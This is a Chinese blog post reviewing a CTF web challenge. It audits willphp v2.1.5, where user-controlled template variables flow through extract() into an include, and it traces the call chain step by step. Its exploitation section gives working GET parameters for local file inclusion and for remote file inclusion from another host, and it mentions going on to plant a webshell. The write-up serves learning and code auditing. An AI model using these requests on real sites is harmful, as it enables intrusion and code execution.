willphp代码审计

web安全的本质最终还得回归到代码层面.
本专栏博客主要通过复现历史cms的漏洞,来学习,了解以及总结cms中最容易出问题的功能代码.

前言

这是湖湘杯的一道web题目,当时没有分析出来,赛后再复盘一下.

相关工具

willphp 源码版本 v2.1.5
phpstudypro
php7.3.4
wind10
vscode
xdebug

这道题目对willphp中的app/controller/IndexController.php中的index()方法进行了部分添加,师傅们再下载完willphp后记得在app/controller/IndexController.php中修改部分代码:

class IndexController{
	public function index(){
		highlight_file(__FILE__);
        assign($_GET['name'],$_GET['value']);
		return view();
	}
}

0x01 变量覆盖

代码分析

访问www主页面,随便传入get参数name以及value,进行代码跟踪

image-20211117125350051

image-20211117125515085

进入assign()方法,跳转到willphp/helper.php的第205行,

image-20211117125808230

配合注释,大概能了解到这个函数的作用是将刚才通过get接收到的值传入的到模板中,继续跟进\wiphp\View::assign()

image-20211117130316799

这里直接跳转到一个加载框架的函数,.这里可以先不用管,继续跟踪找assign().

willphp/wiphp/View.php的第13行找到函数定义

image-20211117130801602

这个函数的逻辑很简单,就是将get接收到的$_GET['name']$_GET['value']分别以键和值的方式储存在$_vars数组中.

到此为止,assgin()函数就跟踪完成,接下来是view(),继续跟进.

image-20211117131356434

跳转到willphp/helper.php的第215行,同第一次跟进到assign()函数类似,这里也给出了view()函数的作用以及相关参数说明.

image-20211117131738557

可以看到这里view()中调用了\wiphp\View::fetch()方法,跟进,跳转到willphp/wiphp/View.php的第16行

image-20211117132158642

同时还看到了上一步assign()函数的执行的结果.

继续一步步调试.

在38行之前,都没有我们可控的参数,这里就快速过一遍逻辑:主要是定义所需模板的路径以及文件.

到38行执行了array_work_recursive()函数,通过selg::_parse_vars()来处理self::$_vars,也就是删除self::$_vars中值的反斜杠.

image-20211117132820269

到目前位置,还没遇到危险函数.不过别放弃,快要到了.

继续调试发现在39行执行了\Tple::render()函数,跟进,跳转到willphp/wiphp/Tple.php的第13行

image-20211117133404991

由于传入的$_vars变量是可控的,所以我们需要时刻注意在哪些地方用到了这个变量.

继续调试,发现在15行时进入了if判断,执行self::renderTo()函数,

image-20211117171329979

由于这个函数涉及到可控变量$_vars,跟进,跳转到这个文件的第33行,

image-20211117171530827

继续走,发现在41行使用了变量$_vars,且涉及到危险函数file_get_contents,跟进self::comp(),发现这个函数内部没有使用到$_vars,那就不管,继续调试,

接着就回到了renderTo()的第44行.问题就出在两行.我们再回过来看看变量$_vars的内容:

image-20211117172308070

image-20211117172421908

由于这里使用了extrac()函数后又执行了在一个include文件包含$_cfile的操作,且extract()传入的内容完全可控.那此时就很容易想到构造$_cfile实现任意文件包含.

漏洞利用

在本地的d盘下创建一个文件1.txt

image-20211117173416733

构造get传参/?name=cfile&value=d:\1.txt

image-20211117173656533

可以看到这里我们已经拿到了1.txt中的内容.如果服务端的php.ini中设置了allow_url_include=On,那么漏洞还能进一步利用.在服务器上放置一个文件,其内容为:

image-20211117174218061

再次构造get传参包含远程文件/?name=cfile&value=http://192.168.3.102/index1.txt

可以看到此处已经成功代码执行,后续还可以直接写个码在漏洞服务器上,然后用蚁剑直接去连等等,这里就不在演示了,师傅们肯定都比我会.

0x02 总结

赛后复盘的时候还是很容易就能审计到漏洞点,但是为什么当时做题的时候没有审计出来呢?还是做题的时候没有静下心来,太浮躁了.我真是sb.

其次,本次审计的办法是采用跟踪函数的方法.通过文章,应该能感觉到通篇都在强调用户可控这个词.这也是代码审计中最重要的部分.通过观察用户可控的变量进行了哪些操作,是否存在危险函数,从而判断是否存在漏洞.希望对师傅们有所帮助.